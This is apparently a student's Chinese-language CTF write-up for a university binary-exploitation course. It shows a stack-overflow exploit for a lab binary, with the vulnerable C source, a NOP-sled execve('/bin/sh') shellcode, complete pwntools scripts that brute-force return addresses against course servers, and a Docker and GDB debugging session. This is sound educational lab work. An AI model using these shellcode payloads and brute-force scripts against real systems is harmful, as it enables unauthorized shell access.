def flag(output):
if b"flag_" in output:
flag_begin = output.find(b"flag_")
flag_end = output.find(b"\n", flag_begin)
flag = output[flag_begin:flag_end].decode('utf-8')
print(flag)
else:
print('Fail')



context.clear(arch='amd64', os='linux')

# find an appropriate name to pass the hash comparison test
def find_hash():
i = 0
while True:
s = f"{i}".encode()
h = hashlib.sha256(s).digest()
if h[0] == 0x2a and h[1] == 0x00:
return s
i += 1


name = find_hash()


r = remote('hacky2', 13701, fam=socket.AF_INET)

r.sendlineafter (b"Password:", b"Password")

# 注意这里不能用sendline,不能加换行。
r.sendafter(b"Enter username:",name)

# recv and save the buffer address
line = r.recvline()
magic = r.recvline()
m = re.search(rb'0x([0-9a-fA-F]+)', magic)
# print("address",m)
buf_addr = int(m.group(1), 16)

# sc = asm("""
# xor rsi, rsi
# xor rdx, rdx
# mov rbx, 0x68732f6e69622f
# push rbx
# mov rdi, rsp
# mov al, 59
# syscall
# """)
sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

# print(len(sc)) # 24

# payload = (b"\x90"*0x20 + sc).ljust(0x48, b"\x90") + p64(buf_addr+0x10)

# write shellcode in buf and replace the orginial return address to the buf address.
# since the stack is excutable, it will execute system('/bin/sh)
payload = sc.ljust(0x48, b"A") + p64(buf_addr)

r.sendlineafter(b'> ', payload)

time.sleep(0.5)
r.sendline("/bin/get_flag")
flag(r.recvline())
# r.interactive()

Pwn02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>

unsigned char hash[SHA256_DIGEST_LENGTH];
unsigned char const good_hash[SHA256_DIGEST_LENGTH] = {
0xf1, 0x26, 0xd5, 0xd9, 0x48, 0x1b, 0x3b, 0x2b,
0x2a, 0x03, 0xf0, 0xa7, 0x75, 0x4e, 0xf1, 0x7d,
0x01, 0x3d, 0x4a, 0x67, 0x99, 0x7b, 0x0a, 0x48,
0x93, 0x08, 0x98, 0x71, 0x26, 0xc0, 0x90, 0x3c,
};

int main()
{
char buf[40] = { 0 };
long is_admin = 0;

printf("\x1b[36mEnter password: \x1b[33m"); fflush(stdout);
scanf("%40s", buf);
if(buf[strlen(buf) - 1] != '\n')
strcat(buf, "\n");

SHA256((unsigned char *) buf, strlen(buf), hash);

if(!memcmp(hash, good_hash, sizeof(good_hash)))
is_admin = 1;

sleep(1);

if(!is_admin) {
printf("\x1b[31mNope.\x1b[0m\n");
exit(1);
}

printf("\x1b[32mHey admin!\x1b[0m\n");

printf("\x1b[36m> \x1b[33m"); fflush(stdout);
scanf("%s", buf);
printf("\x1b[0m");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
└─$ checksec vuln
[*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn02/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

服务器方面是关闭了ASLR的。(这一点至关重要。)

和之前一样,这道题也分2个部分。第一部分我们需要绕过admin的检测,第二部分需要注入Shellcode并运行它去。

一阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char buf[40] = { 0 };
long is_admin = 0;

printf("\x1b[36mEnter password: \x1b[33m"); fflush(stdout);
scanf("%40s", buf);
if(buf[strlen(buf) - 1] != '\n')
strcat(buf, "\n");

SHA256((unsigned char *) buf, strlen(buf), hash);

if(!memcmp(hash, good_hash, sizeof(good_hash)))
is_admin = 1;

sleep(1);

if(!is_admin) {
printf("\x1b[31mNope.\x1b[0m\n");
exit(1);
}

printf("\x1b[32mHey admin!\x1b[0m\n");

注意到,scanf("%40s", buf)会最多读 40 个可见字符,并且还会再写入一个 '\0' 终止符。

紧接着 strcat(buf, "\n") 会把这个位置改写成 '\n',并在下一个字节 buf[41] 写入新的 '\0'
最后,紧跟在 buf 后面的两个字节就会变成 0x0a 0x00(也就是 '\n''\0')。

也就是说当我们输入了40个字符之后,它自动就会发生溢出,将is_admin的值修改为非零,从而绕过检测。

二阶段

1
2
3
4
printf("\x1b[36m> \x1b[33m"); 
fflush(stdout);
scanf("%s", buf);
printf("\x1b[0m");

主要思路和前一题一样,将shellcode写进buf并且通过修改返回地址运行它。但是这里有个问题:在前一题里我们会直接获得buf的地址,所以可以精准导向。但是在这题里我们无法得知buf的具体地址。

而如果按照这样的Payload结构:

1
[Shellcode] [Return Address]

来爆破地址的话,效率会非常低,因为我们必须精确地爆破到Shellcode(buf)一开始的地址,地址高一位低一位都会失败。

所以我们可以利用NOP:

NOP 是 “No Operation”(不执行任何操作)的缩写,意思就是“空指令”。CPU执行一条NOP 后,什么状态都不改,只把程序计数器往前挪到下一条指令。

  • 在 x86 上,最常见的NOP的机器码是0x90

而当我们将一段很长的NOP添加在我们shellcode前面,就会让我们爆破的难度大大降低。因为我们不再需要精准地返回到shellcode一开始的地址,只要它返回到NOP中的任意位置,就会自动“滑“到后面的shellcode并执行它。

优化后的shellcode的结构:

1
[Padding] [Return Address] [NOP] [Shellcode]

这样一来,我们爆破地址的中间的间隔可以直接设置成NOP的长度,这样并不会错过我们的NOP以及Shellcode,确保了爆破一定能成功并且提高了爆破的效率。

这个方法可行有2点前提:

  1. 服务器关闭了ASLR,并且程序关闭了PIE,所以Stack地址一直是(比较)固定的;
  2. 程序使用的是scanf,scanf是不会检查输入长度的,只需要确保shellcode里没有包含0x00即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

# add a lot of NOP, which makes it easy (raise the hit probability) to brute force the buffer address.
NOP_len = 0x100
NOP = b'\x90' * NOP_len
code = NOP + sc

def one(addr_int):
r = remote('hacky1', 13702, timeout=2.0, fam=socket.AF_INET)
try:
r.sendlineafter (b"Password:", b"Password")

r.sendlineafter(b"Enter password:",b'A' * 40)

r.recvuntil(b'>')

payload = b'A'*0x38 + p64(addr_int) + code
r.sendline(payload)

time.sleep(0.5)
# 这个0.5秒的暂停至关重要!

r.sendline(b'/bin/get_flag')
data = r.recvrepeat(0.5) or b''
if b'flag' in data.lower():
flag(data)
# log.success(f'HIT 0x{addr_int:016x}')
# print(data.decode(errors='ignore'))
return True
return False
except EOFError:
return False
except Exception as e:
return False
finally:
r.close()

def brute():
base = 0x7fffffffefff
total = 0xffff
for i in range(0, total, NOP_len):
addr_int = base - i
# print(f"[{i//NOP_len + 1}/{(total + NOP_len - 1)//NOP_len}] try 0x{addr_int:016x}")
if one(addr_int):
return
time.sleep(0.03)
log.failure("Failed")

brute()

注意,代码里的那个time.sleep(0.5)至关重要,因为如果连续发两条消息,那么就有可能无法及时接收所有的消息,导致就算成功了也不知道。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from pwn import *
import time

# exract flag from the output
def flag(output):
if b"flag_" in output:
flag_begin = output.find(b"flag_")
flag_end = output.find(b"\n", flag_begin)
flag = output[flag_begin:flag_end].decode('utf-8')
print(flag)
else:
print('Fail')


context.clear(arch='amd64', os='linux')


sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

# add a lot of NOP, which makes it easy (raise the hit probability) to brute force the buffer address.
NOP_len = 0x100
NOP = b'\x90' * NOP_len
code = NOP + sc

def one(addr_int):
r = remote('hacky1', 13702, timeout=2.0, fam=socket.AF_INET)
try:
r.sendlineafter (b"Password:", b"Password")

r.sendlineafter(b"Enter password:",b'A' * 40)

r.recvuntil(b'>')

payload = b'A'*0x38 + p64(addr_int) + code
r.sendline(payload)

time.sleep(0.5)

r.sendline(b'/bin/get_flag')
data = r.recvrepeat(0.5) or b''
if b'flag' in data.lower():
flag(data)
# log.success(f'HIT 0x{addr_int:016x}')
# print(data.decode(errors='ignore'))
return True
return False
except EOFError:
return False
except Exception as e:
return False
finally:
r.close()

def brute():
base = 0x7fffffffefff
total = 0xffff
for i in range(0, total, NOP_len):
addr_int = base - i
# print(f"[{i//NOP_len + 1}/{(total + NOP_len - 1)//NOP_len}] try 0x{addr_int:016x}")
if one(addr_int):
return
time.sleep(0.03)
log.failure("Failed")

brute()


# [+] HIT 0x00007fffffffedff
# flag_5c501898ea5bb567cb1202732e785d21

本地测试

(注意,本地测试共需要用到2个终端。)

首先打开一个终端搭建Docker环境:

1
sudo docker build -t test2 .

打开Docker,并设置好这道题所需的条件,比如说关闭ASLR:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ sudo docker run -d -p 1337:1337 \
--name fnetd \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
-e FNETD_PASSWORD=fnetd_password \
test2 \
setarch -R /fnetd/build/fnetd -p 1337 -u pwn -lt 2 -lm 536870912 ./vuln
62f8afcdf696e6f5944c58745e43555cfe25ed24e36294e9d752c4b5fa054e96



└─$ sudo docker exec -it fnetd bash
root@62f8afcdf696:/#

先用另一个终端运行这个Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import time

context.clear(arch='amd64', os='linux')

r = remote("127.0.0.1", 1337)

P = b'fnetd_password\n'


sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"


NOP_len = 0x100

NOP = b'\x90' * NOP_len
code = NOP + sc

def one(addr):
try:
r.recvuntil(b'Password:')
r.send(P)

r.recvuntil(b'Enter password')
r.sendline(b'A' * 40)

print(r.recvuntil(b'>'))

input()
# 这里的input是为了暂停程序,好让我可以在GDB那边查看程序的内部信息。

payload = b'A'*0x38 + p64(addr) + code
r.sendline(payload)

r.interactive()

r.close()
return False
except Exception:
return False

def brute():
addr = 0x7fffffffed00 + 0x50
# 刚好卡上NOP的位置
if one(addr):
return
log.failure("Failed")

brute()

然后趁它暂停的时候(等待input()那里),我们返回一开始的终端。先查看当前有哪些跟vuln相关的程序在运行,并找到因为nc生成的./vuln程序并确定它的PID(这里是29 ./vuln),然后使用GDB打开这个PID的程序,便可以开始GDB调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@62f8afcdf696:/# pgrep -af vuln
1 /fnetd/build/fnetd -p 1337 -u pwn -lt 2 -lm 536870912 ./vuln
7 sh -c ./vuln
8 ./vuln
16 gdb -q /home/pwn/vuln -p 8
28 sh -c ./vuln
29 ./vuln
root@62f8afcdf696:/# gdb -q /home/pwn/vuln -p 29
Reading symbols from /home/pwn/vuln...
Attaching to program: /home/pwn/vuln, process 29
Reading symbols from /lib/x86_64-linux-gnu/libcrypto.so.3...
(No debugging symbols found in /lib/x86_64-linux-gnu/libcrypto.so.3)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
(No debugging symbols found in /lib/x86_64-linux-gnu/libc.so.6)
Reading symbols from /lib/x86_64-linux-gnu/libz.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libz.so.1)
Reading symbols from /lib/x86_64-linux-gnu/libzstd.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libzstd.so.1)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
(No debugging symbols found in /lib64/ld-linux-x86-64.so.2)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007ffff781d687 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) bt
#0 0x00007ffff781d687 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007ffff781d6ad in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#2 0x00007ffff7891ea6 in read () from /lib/x86_64-linux-gnu/libc.so.6
#3 0x00007ffff7818861 in _IO_file_underflow () from /lib/x86_64-linux-gnu/libc.so.6
#4 0x00007ffff781abeb in _IO_default_uflow () from /lib/x86_64-linux-gnu/libc.so.6
#5 0x00007ffff77f37ba in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#6 0x00007ffff77e76be in __isoc99_scanf () from /lib/x86_64-linux-gnu/libc.so.6
#7 0x000000000040121c in main () at vuln.c:21
(gdb) frame 7
#7 0x000000000040121c in main () at vuln.c:21
21 in vuln.c
(gdb) info locals
buf = '\000' <repeats 39 times>
is_admin = 0
(gdb) p &buf
$1 = (char (*)[40]) 0x7fffffffed00
(gdb)

在第二个终端上输入一个回车(让Python脚本继续运行并发送Payload),便可以(在第一个终端的GDB里)看到buf已经被写成了我们Payload里预想的样子:

1
2
3
4
5
(gdb) info locals
buf = 'A' <repeats 40 times>
is_admin = 10
(gdb) c
Continuing.

之后继续输入命令c便可以看到GDB里已经显示程序在execve("/usr/bin/dash")/bin/sh 在 Debian 是 dash):

image-20251018004216769

然后返回运行python脚本的terminal也可以发现我们成功拿到shell了。也就是说本地测试成功了。

之后再本地把爆破的版本也跑成功就可以去跑服务器了。

心路历程

一开始尝试直接将Shellcode写进buf里,然后爆破返回地址,最后失败了。

而后,在阅读了这篇论文 Aleph One, “Smashing The Stack For Fun And Profit”, 1996 (这篇论文真的有好些年头了)之后,了解并理解了使用NOP来简化爆破难度,或者说提高爆破成功率的方法。

但是所有步骤都写完了之后进行测试,发现一直不成功。调了很久都还是没有调出来。

之后便开始研究如何使用给的Dockerfile并且先跑本地测试。(我一直以来都嫌本地测试很麻烦,就是搭建环境之类的,并且事实确实如此。所以很少本地测试,尤其是这道题目的环境及其复杂,关闭这个ASLR我真的研究了好久。)但是搭建环境的时候遇到各种问题,环境都一直搭不好,更别说跑成功了。

这个时候心态已经很崩了,因为甚至不知道问题到底出在哪里。是shellcode的问题?是爆破算法的问题?还是说是什么其他的问题。于是决定询问Fabian(这门课的负责人)。在他先肯定了我的思路并询问起我本地测试具体是哪里出问题了之后,我决定再从头开始认认真真仔仔细细地搭建一遍Docker,并且完整地进行一遍本地调试的操作。在他的帮助下我终于本地测试成功了。只不过我这个时候的本地测试的版本是使用的比较精确的buf地址,并没有尝试爆破的流程。

于是我又兴致勃勃地跑去连接服务器测试,但还是失败了。这时候我再次本地测试发现,使用精确地址的版本一直可以成功,但是爆破版本一直失败。

最后谁能想到这道题居然又是因为time.sleep()卡住的呢(我在发送完Payload后并没有等待或者等待接收数据就直接连着发送的get_flag的命令)。去年刚好也是差不多这个点,也IT Sicherheit的作业(Padding Oracle)的时候,也是因为这个原因一直没法成功。

所以说这次学聪明了:

与服务器交互时,一定要尽量避免连续使用send发送数据,中间尽量插入recv_until,或者是time.sleep()